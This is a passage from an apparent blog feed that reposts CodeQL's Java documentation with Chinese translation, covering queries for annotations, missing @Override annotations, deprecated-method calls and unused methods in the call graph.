predicate.</p><blockquote><p>表达式@SuppressWarnings(“rawtypes”)表示为一个Annotation。字符串 “rawtypes “用于初始化注解元素的值，它的值可以通过getValue谓词从注解中提取。</p></blockquote><p>We could then write this query to find all <code>@SuppressWarnings</code> annotations attached to constructors, and return both the annotation itself and the value of its <code>value</code> element:</p><blockquote><p>然后，我们可以写这个查询来查找所有附加在构造函数上的@SuppressWarnings注解，并返回注解本身和它的值元素的值。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Constructor c, Annotation ann, AnnotationType anntp</span><br><span class="line">where ann = c.getAnAnnotation() and</span><br><span class="line">    anntp = ann.getType() and</span><br><span class="line">    anntp.hasQualifiedName("java.lang", "SuppressWarnings")</span><br><span class="line">select ann, ann.getValue("value")</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1775658606775222283/" target="_blank" rel="noopener">See the full query in the query console on LGTM.com</a>. Several of the LGTM.com demo projects use the <code>@SuppressWarnings</code> annotation. Looking at the <code>value</code>s of the annotation element returned by the query, we can see that the <em>apache/activemq</em> project uses the <code>"rawtypes"</code> value described above.</p><blockquote><p>➤ 在 LGTM.com 的查询控制台中查看完整的查询。LGTM.com的几个演示项目都使用了@SuppressWarnings注解。观察查询返回的注解元素的值，我们可以看到 apache/activemq 项目使用了上面描述的 “rawtypes “值。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/6u10er6ec/6u10er6ec.png" alt="image-20210326171005866"></p><p><img src="https://gitee.com/samny/images/raw/master/49u10er49ec/49u10er49ec.png" alt="image-20210326171043941"></p><p><img src="https://gitee.com/samny/images/raw/master/49u10er49ec/49u10er49ec.png" alt="image-20210326171049443"></p><p>As another example, this query finds all annotation types that only have a single annotation element, which has name <code>value</code>:</p><blockquote><p>作为另一个例子，这个查询找到了所有只有一个注解元素的注解类型，这个注解元素的值是name:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from AnnotationType anntp</span><br><span class="line">where forex(AnnotationElement elt |</span><br><span class="line">    elt = anntp.getAnAnnotationElement() |</span><br><span class="line">    elt.getName() = "value"</span><br><span class="line">)</span><br><span class="line">select anntp</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/2145264152490258283/" target="_blank" rel="noopener">See the full query in the query console on LGTM.com</a>.</p><blockquote><p>➤ 查看LGTM.com上查询控制台中的完整查询。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/31u11er31ec/31u11er31ec.png" alt="image-20210326171131837"></p><p><img src="https://gitee.com/samny/images/raw/master/52u11er52ec/52u11er52ec.png" alt="image-20210326171152529"></p><p><img src="https://gitee.com/samny/images/raw/master/15u12er15ec/15u12er15ec.png" alt="image-20210326171215602"></p><h2 id="Example-Finding-missing-Override-annotations"><a href="#Example-Finding-missing-Override-annotations" class="headerlink" title="Example: Finding missing @Override annotations"></a>Example: Finding missing <code>@Override</code> annotations</h2><p>In newer versions of Java, it’s recommended (though not required) that you annotate methods that override another method with an <code>@Override</code> annotation. These annotations, which are checked by the compiler, serve as documentation, and also help you avoid accidental overloading where overriding was intended.</p><blockquote><p>在Java的新版本中，建议（虽然不是必须的）用@Override注解来注解覆盖另一个方法的方法。这些由编译器检查的注解可以作为文档，也可以帮助你避免意外的重载，而重载的目的是什么。</p></blockquote><p>For example, consider this example program:</p><blockquote><p>例如，考虑这个示例程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Super {</span><br><span class="line">    public void m() {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Sub1 extends Super {</span><br><span class="line">    @Override public void m() {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Sub2 extends Super {</span><br><span class="line">    public void m() {}</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here, both <code>Sub1.m</code> and <code>Sub2.m</code> override <code>Super.m</code>, but only <code>Sub1.m</code> is annotated with <code>@Override</code>.</p><blockquote><p>这里，Sub1.m 和 Sub2.m 都覆盖了 Super.m，但只有 Sub1.m 被注解为 @Override。</p></blockquote><p>We’ll now develop a query for finding methods like <code>Sub2.m</code> that should be annotated with <code>@Override</code>, but are not.</p><blockquote><p>现在，我们将开发一个查询，用于查找像 Sub2.m 这样应该被注解为 @Override 但没有被注解的方法。</p></blockquote><p>As a first step, let’s write a query that finds all <code>@Override</code> annotations. Annotations are expressions, so their type can be accessed using <code>getType</code>. Annotation types, on the other hand, are interfaces, so their qualified name can be queried using <code>hasQualifiedName</code>. Therefore we can implement the query like this:</p><blockquote><p>第一步，让我们写一个查询来查找所有 @Override 注解。注解是表达式，所以可以使用 getType 访问它们的类型。另一方面，注解类型是接口，所以可以使用hasQualifiedName查询它们的限定名。因此我们可以这样实现查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Annotation ann</span><br><span class="line">where ann.getType().hasQualifiedName("java.lang", "Override")</span><br><span class="line">select ann</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/38u13er38ec/38u13er38ec.png" alt="image-20210326171338887"></p><p> <img src="https://gitee.com/samny/images/raw/master/59u13er59ec/59u13er59ec.png" alt="image-20210326171351526"></p><p><img src="https://gitee.com/samny/images/raw/master/59u13er59ec/59u13er59ec.png" alt="image-20210326171359169"></p><p>As always, it is a good idea to try this query on a CodeQL database for a Java project to make sure it actually produces some results. On the earlier example, it should find the annotation on <code>Sub1.m</code>. Next, we encapsulate the concept of an <code>@Override</code> annotation as a CodeQL class:</p><blockquote><p>和以往一样，最好在Java项目的CodeQL数据库中尝试这个查询，以确保它确实产生了一些结果。在前面的例子中，它应该能找到Sub1.m上的注解。接下来，我们将@Override注解的概念封装成一个CodeQL类:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class OverrideAnnotation extends Annotation {</span><br><span class="line">    OverrideAnnotation() {</span><br><span class="line">        this.getType().hasQualifiedName("java.lang", "Override")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>This makes it very easy to write our query for finding methods that override another method, but don’t have an <code>@Override</code> annotation: we use predicate <code>overrides</code> to find out whether one method overrides another, and predicate <code>getAnAnnotation</code> (available on any <code>Annotatable</code>) to retrieve some annotation.</p><blockquote><p>这使得我们很容易写出我们的查询，用于查找覆盖另一个方法，但没有@Override注解的方法：我们使用谓词overrides来查找一个方法是否覆盖了另一个方法，使用谓词getAnAnnotation（在任何Annotatable上可用）来检索一些注解。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Method overriding, Method overridden</span><br><span class="line">where overriding.overrides(overridden) and</span><br><span class="line">    not overriding.getAnAnnotation() instanceof OverrideAnnotation</span><br><span class="line">select overriding, "Method overrides another method, but does not have an @Override annotation."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/7419756266089837339/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. In practice, this query may yield many results from compiled library code, which aren’t very interesting. It’s therefore a good idea to add another conjunct <code>overriding.fromSource()</code> to restrict the result to only report methods for which source code is available.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。在实践中，这种查询可能会产生许多来自编译库代码的结果，这些结果并不是很有趣。因此，最好是添加另一个共轭覆盖.fromSource()，以将结果限制为只报告有源代码的方法。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/31u15er31ec/31u15er31ec.png" alt="image-20210326171531336"></p><p><img src="https://gitee.com/samny/images/raw/master/44u15er44ec/44u15er44ec.png" alt="image-20210326171543972"></p><p><img src="https://gitee.com/samny/images/raw/master/49u15er49ec/49u15er49ec.png" alt="image-20210326171549733"></p><h2 id="Example-Finding-calls-to-deprecated-methods"><a href="#Example-Finding-calls-to-deprecated-methods" class="headerlink" title="Example: Finding calls to deprecated methods"></a>Example: Finding calls to deprecated methods</h2><p>As another example, we can write a query that finds calls to methods marked with a <code>@Deprecated</code> annotation.</p><blockquote><p>作为另一个例子，我们可以写一个查询，查找标记有@Deprecated注解的方法的调用。</p></blockquote><p>For example, consider this example program:</p><blockquote><p>例如，考虑这个示例程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class A {</span><br><span class="line">    @Deprecated void m() {}</span><br><span class="line"></span><br><span class="line">    @Deprecated void n() {</span><br><span class="line">        m();</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    void r() {</span><br><span class="line">        m();</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here, both <code>A.m</code> and <code>A.n</code> are marked as deprecated. Methods <code>n</code> and <code>r</code> both call <code>m</code>, but note that <code>n</code> itself is deprecated, so we probably should not warn about this call.</p><blockquote><p>这里，A.m和A.n都被标记为废弃。方法n和r都调用了m，但请注意n本身是废弃的，所以我们可能不应该对这个调用发出警告。</p></blockquote><p>As in the previous example, we’ll start by defining a class for representing <code>@Deprecated</code> annotations:</p><blockquote><p>和前面的例子一样，我们先定义一个类来表示@Deprecated注解:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class DeprecatedAnnotation extends Annotation {</span><br><span class="line">    DeprecatedAnnotation() {</span><br><span class="line">        this.getType().hasQualifiedName("java.lang", "Deprecated")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Now we can define a class for representing deprecated methods:</p><blockquote><p>现在我们可以定义一个类来表示被废弃的方法:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class DeprecatedMethod extends Method {</span><br><span class="line">    DeprecatedMethod() {</span><br><span class="line">        this.getAnAnnotation() instanceof DeprecatedAnnotation</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Finally, we use these classes to find calls to deprecated methods, excluding calls that themselves appear in deprecated methods:</p><blockquote><p>最后，我们使用这些类来查找对废弃方法的调用，排除本身出现在废弃方法中的调用:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Call call</span><br><span class="line">where call.getCallee() instanceof DeprecatedMethod</span><br><span class="line">    and not call.getCaller() instanceof DeprecatedMethod</span><br><span class="line">select call, "This call invokes a deprecated method."</span><br></pre></td></tr></tbody></table></figure><p>In our example, this query flags the call to <code>A.m</code> in <code>A.r</code>, but not the one in <code>A.n</code>.</p><blockquote><p>在我们的例子中，这个查询标记了A.r中对A.m的调用，但没有标记A.n中的调用。</p></blockquote><p>For more information about the class <code>Call</code>, see “<a href="https://codeql.github.com/docs/codeql-language-guides/navigating-the-call-graph/" target="_blank" rel="noopener">Navigating the call graph</a>.”</p><blockquote><p>有关类Call的更多信息，请参阅 “导航调用图”。</p></blockquote><h3 id="Improvements"><a href="#Improvements" class="headerlink" title="Improvements"></a>Improvements</h3><p>The Java standard library provides another annotation type <code>java.lang.SupressWarnings</code> that can be used to suppress certain categories of warnings. In particular, it can be used to turn off warnings about calls to deprecated methods. Therefore, it makes sense to improve our query to ignore calls to deprecated methods from inside methods that are marked with <code>@SuppressWarnings("deprecated")</code>.</p><blockquote><p>Java标准库提供了另一个注解类型java.lang.SupressWarnings，可以用来抑制某些类别的警告。特别是，它可以用来关闭对废弃方法的调用的警告。因此，改进我们的查询以忽略来自标记为@SuppressWarnings(“deprecated”)的方法内部对废弃方法的调用是有意义的。</p></blockquote><p>For instance, consider this slightly updated example:</p><blockquote><p>例如，考虑这个稍微更新的例子:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class A {</span><br><span class="line">    @Deprecated void m() {}</span><br><span class="line"></span><br><span class="line">    @Deprecated void n() {</span><br><span class="line">        m();</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    @SuppressWarnings("deprecated")</span><br><span class="line">    void r() {</span><br><span class="line">        m();</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here, the programmer has explicitly suppressed warnings about deprecated calls in <code>A.r</code>, so our query should not flag the call to <code>A.m</code> any more.</p><blockquote><p>在这里，程序员已经显式地抑制了A.r中关于废弃调用的警告，所以我们的查询不应该再标记对A.m的调用。</p></blockquote><p>To do so, we first introduce a class for representing all <code>@SuppressWarnings</code> annotations where the string <code>deprecated</code> occurs among the list of warnings to suppress:</p><blockquote><p>为此，我们首先引入一个类来表示所有@SuppressWarnings注解，其中字符串deprecated出现在要抑制的警告列表中。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class SuppressDeprecationWarningAnnotation extends Annotation {</span><br><span class="line">    SuppressDeprecationWarningAnnotation() {</span><br><span class="line">        this.getType().hasQualifiedName("java.lang", "SuppressWarnings") and</span><br><span class="line">        this.getAValue().(Literal).getLiteral().regexpMatch(".*deprecation.*")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here, we use <code>getAValue()</code> to retrieve any annotation value: in fact, annotation type <code>SuppressWarnings</code> only has a single annotation element, so every <code>@SuppressWarnings</code> annotation only has a single annotation value. Then, we ensure that it is a literal, obtain its string value using <code>getLiteral</code>, and check whether it contains the string <code>deprecation</code> using a regular expression match.</p><blockquote><p>在这里，我们使用getAValue()来检索任何注解值：事实上，注解类型SuppressWarnings只有一个注解元素，所以每个@SuppressWarnings注解只有一个注解值。然后，我们确保它是一个文字，使用getLiteral获取它的字符串值，并使用正则表达式匹配检查它是否包含字符串废弃。</p></blockquote><p>For real-world use, this check would have to be generalized a bit: for example, the OpenJDK Java compiler allows <code>@SuppressWarnings("all")</code> annotations to suppress all warnings. We may also want to make sure that <code>deprecation</code> is matched as an entire word, and not as part of another word, by changing the regular expression to <code>".*\\bdeprecation\\b.*"</code>.</p><blockquote><p>对于现实世界的使用，这种检查必须要概括一下：例如，OpenJDK Java编译器允许@SuppressWarnings(“all”)注解来抑制所有警告。我们还可以通过将正则表达式修改为”.<em>/\b/deprecation/\b.</em>“来确保deprecation是作为一个完整的词来匹配的，而不是作为另一个词的一部分。</p></blockquote><p>Now we can extend our query to filter out calls in methods carrying a <code>SuppressDeprecationWarningAnnotation</code>:</p><blockquote><p>现在我们可以扩展我们的查询来过滤掉携带 SuppressDeprecationWarningAnnotation 的方法中的调用。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Represent deprecated methods</span><br><span class="line">class DeprecatedMethod extends Method {</span><br><span class="line">    DeprecatedMethod() {</span><br><span class="line">        this.getAnAnnotation() instanceof DeprecatedAnnotation</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Represent `@SuppressWarnings` annotations with `deprecation`</span><br><span class="line">class SuppressDeprecationWarningAnnotation extends Annotation {</span><br><span class="line">    SuppressDeprecationWarningAnnotation() {</span><br><span class="line">        this.getType().hasQualifiedName("java.lang", "SuppressWarnings") and</span><br><span class="line">        ((Literal)this.getAValue()).getLiteral().regexpMatch(".*deprecation.*")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from Call call</span><br><span class="line">where call.getCallee() instanceof DeprecatedMethod</span><br><span class="line">    and not call.getCaller() instanceof DeprecatedMethod</span><br><span class="line">    and not call.getCaller().getAnAnnotation() instanceof SuppressDeprecationWarningAnnotation</span><br><span class="line">select call, "This call invokes a deprecated method."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8706367340403790260/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. It’s fairly common for projects to contain calls to methods that appear to be deprecated.</p><blockquote><p>➤ 在 LGTM.com 的查询控制台中可以看到这一点。项目中包含对似乎已被废弃的方法的调用是相当常见的。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/21u17er21ec/21u17er21ec.png" alt="image-20210326171721573"></p><p><img src="https://gitee.com/samny/images/raw/master/43u17er43ec/43u17er43ec.png" alt="image-20210326171743593"></p><p><img src="https://gitee.com/samny/images/raw/master/52u17er52ec/52u17er52ec.png" alt="image-20210326171752120"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Annotations-in-Java¶&quot;&gt;&lt;a href=&quot;#Annotations-in-Java¶&quot; class=&quot;headerlink&quot; title=&quot;Annotations in Java¶&quot;&gt;&lt;/a&gt;Annotations in Java&lt;a href
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Navigating the call graph</title>
    <link href="https://summersec.github.io/2021/03/25/Navigating%20the%20call%20graph/"/>
    <id>https://summersec.github.io/2021/03/25/Navigating%20the%20call%20graph/</id>
    <published>2021-03-25T11:01:42.000Z</published>
    <updated>2021-03-28T05:57:11.252Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Navigating-the-call-graph¶"><a href="#Navigating-the-call-graph¶" class="headerlink" title="Navigating the call graph¶"></a>Navigating the call graph<a href="https://codeql.github.com/docs/codeql-language-guides/navigating-the-call-graph/#navigating-the-call-graph" target="_blank" rel="noopener">¶</a></h1><p>CodeQL has classes for identifying code that calls other code, and code that can be called from elsewhere. This allows you to find, for example, methods that are never used.</p><blockquote><p>CodeQL有一些类用于识别调用其他代码的代码，以及可以从其他地方调用的代码。例如，这允许你找到从未使用过的方法。</p></blockquote><h2 id="Call-graph-classes"><a href="#Call-graph-classes" class="headerlink" title="Call graph classes"></a>Call graph classes</h2><p>The CodeQL library for Java provides two abstract classes for representing a program’s call graph: <code>Callable</code> and <code>Call</code>. The former is simply the common superclass of <code>Method</code> and <code>Constructor</code>, the latter is a common superclass of <code>MethodAccess</code>, <code>ClassInstanceExpression</code>, <code>ThisConstructorInvocationStmt</code> and <code>SuperConstructorInvocationStmt</code>. Simply put, a <code>Callable</code> is something that can be invoked, and a <code>Call</code> is something that invokes a <code>Callable</code>.</p><blockquote><p>Java的CodeQL库提供了两个抽象类来表示程序的调用图。Callable和Call。前者只是Method和Constructor的共同超类，后者是MethodAccess、ClassInstanceExpression、ThisConstructorInvocationStmt和SuperConstructorInvocationStmt的共同超类。简单的说，Callable就是可以被调用的东西，Call就是调用Callable的东西。</p></blockquote><p>For example, in the following program all callables and calls have been annotated with comments:</p><blockquote><p>例如，在下面的程序中，所有的可调用和调用都被注解了:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">class Super {</span><br><span class="line">    int x;</span><br><span class="line"></span><br><span class="line">    // callable</span><br><span class="line">    public Super() {</span><br><span class="line">        this(23);       // call</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    // callable</span><br><span class="line">    public Super(int x) {</span><br><span class="line">        this.x = x;</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    // callable</span><br><span class="line">    public int getX() {</span><br><span class="line">        return x;</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">    class Sub extends Super {</span><br><span class="line">    // callable</span><br><span class="line">    public Sub(int x) {</span><br><span class="line">        super(x+19);    // call</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    // callable</span><br><span class="line">    public int getX() {</span><br><span class="line">        return x-19;</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Client {</span><br><span class="line">    // callable</span><br><span class="line">    public static void main(String[] args) {</span><br><span class="line">        Super s = new Sub(42);  // call</span><br><span class="line">        s.getX();               // call</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Class <code>Call</code> provides two call graph navigation predicates:</p><blockquote><p>Class Call提供了两个调用图导航谓词:</p></blockquote><ul><li><code>getCallee</code> returns the <code>Callable</code> that this call (statically) resolves to; note that for a call to an instance (that is, non-static) method, the actual method invoked at runtime may be some other method that overrides this method.</li><li>getCallee返回这个调用（静态）所解析的Callable；注意，对于一个实例（即非静态）方法的调用，在运行时实际调用的方法可能是其他一些覆盖这个方法的方法。</li><li><code>getCaller</code> returns the <code>Callable</code> of which this call is syntactically part.</li><li>getCaller返回这个调用在语法上是其一部分的Callable。</li></ul><p>For instance, in our example <code>getCallee</code> of the second call in <code>Client.main</code> would return <code>Super.getX</code>. At runtime, though, this call would actually invoke <code>Sub.getX</code>.</p><blockquote><p>例如，在我们的例子中，Client.main中第二个调用的getCallee将返回Super.getX。但在运行时，这个调用实际上会调用Sub.getX。</p></blockquote><p>Class <code>Callable</code> defines a large number of member predicates; for our purposes, the two most important ones are:</p><blockquote><p>类Callable定义了大量的成员谓词；对于我们的目的，最重要的两个谓词是。</p></blockquote><ul><li><p><code>calls(Callable target)</code> succeeds if this callable contains a call whose callee is <code>target</code>.</p></li><li><p>calls(Callable target)如果这个callable包含一个call，其calllee是target，则成功。</p></li><li><p><code>polyCalls(Callable target)</code> succeeds if this callable may call <code>target</code> at runtime; this is the case if it contains a call whose callee is either <code>target</code> or a method that <code>target</code> overrides.</p></li><li><p>polyCalls(Callable target)如果这个callable在运行时可以调用target，那么就会成功；如果它包含一个call，其calllee是target或target覆盖的方法，那么就会成功。</p></li></ul><p>In our example, <code>Client.main</code> calls the constructor <code>Sub(int)</code> and the method <code>Super.getX</code>; additionally, it <code>polyCalls</code> method <code>Sub.getX</code>.</p><blockquote><p>在我们的例子中，Client.main调用了构造函数Sub(int)和方法Super.getX；此外，它还polyCalls方法Sub.getX。</p></blockquote><h2 id="Example-Finding-unused-methods"><a href="#Example-Finding-unused-methods" class="headerlink" title="Example: Finding unused methods"></a>Example: Finding unused methods</h2><p>We can use the <code>Callable</code> class to write a query that finds methods that are not called by any other method:</p><blockquote><p>我们可以使用Callable类来写一个查询，找到没有被其他方法调用的方法:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee))</span><br><span class="line">select callee</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8376915232270534450/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This simple query typically returns a large number of results.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这种简单的查询通常会返回大量的结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/46u44er46ec/46u44er46ec.png" alt="image-20210325154446690"></p><p><img src="https://gitee.com/samny/images/raw/master/11u45er11ec/11u45er11ec.png" alt="image-20210325154511712"></p><blockquote><p>Note</p><p>We have to use <code>polyCalls</code> instead of <code>calls</code> here: we want to be reasonably sure that <code>callee</code> is not called, either directly or via overriding.</p><p>我们必须在这里使用 polyCalls 而不是调用：我们要合理地确定 callee 没有被调用，无论是直接调用还是通过覆盖调用。</p></blockquote><p>Running this query on a typical Java project results in lots of hits in the Java standard library. This makes sense, since no single client program uses every method of the standard library. More generally, we may want to exclude methods and constructors from compiled libraries. We can use the predicate <code>fromSource</code> to check whether a compilation unit is a source file, and refine our query:</p><blockquote><p>在一个典型的Java项目上运行这个查询的结果是，在Java标准库中会有很多点击。这是有道理的，因为没有一个客户程序会使用标准库的每一个方法。更一般的情况下，我们可能希望从编译库中排除方法和构造函数。我们可以使用fromSource谓词来检查一个编译单元是否是源文件，并完善我们的查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee)) and</span><br><span class="line">    callee.getCompilationUnit().fromSource()</span><br><span class="line">select callee, "Not called."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8711624074465690976/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This change reduces the number of results returned for most projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这个变化减少了大多数项目返回的结果数量。</p></blockquote><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210325164432951.png" alt="image-20210325164432951"></p><p><img src="https://gitee.com/samny/images/raw/master/48u44er48ec/48u44er48ec.png" alt="image-20210325164448392"></p><p><img src="https://gitee.com/samny/images/raw/master/54u44er54ec/54u44er54ec.png" alt="image-20210325164454547"></p><p>We might also notice several unused methods with the somewhat strange name <code>&lt;clinit&gt;</code>: these are class initializers; while they are not explicitly called anywhere in the code, they are called implicitly whenever the surrounding class is loaded. Hence it makes sense to exclude them from our query. While we are at it, we can also exclude finalizers, which are similarly invoked implicitly:</p><blockquote><p>我们还可能会注意到几个未使用的方法，它们的名称有些奇怪<clinit>：这些方法是类初始化器；虽然它们在代码中的任何地方都没有被显式调用，但每当加载周围的类时，它们就会被隐式调用。因此，将它们从我们的查询中排除是有意义的。当我们在这里的时候，我们也可以排除最终化器，它们同样是隐式调用的:</clinit></p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable callee</span><br><span class="line">where not exists(Callable caller | caller.polyCalls(callee)) and</span><br><span class="line">    callee.getCompilationUnit().fromSource() and</span><br><span class="line">    not callee.hasName("&lt;clinit&gt;") and not callee.hasName("finalize")</span><br><span class="line">select callee, "Not called."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/925473733866047471/" target="_blank" rel="noopener">See this in the query console on 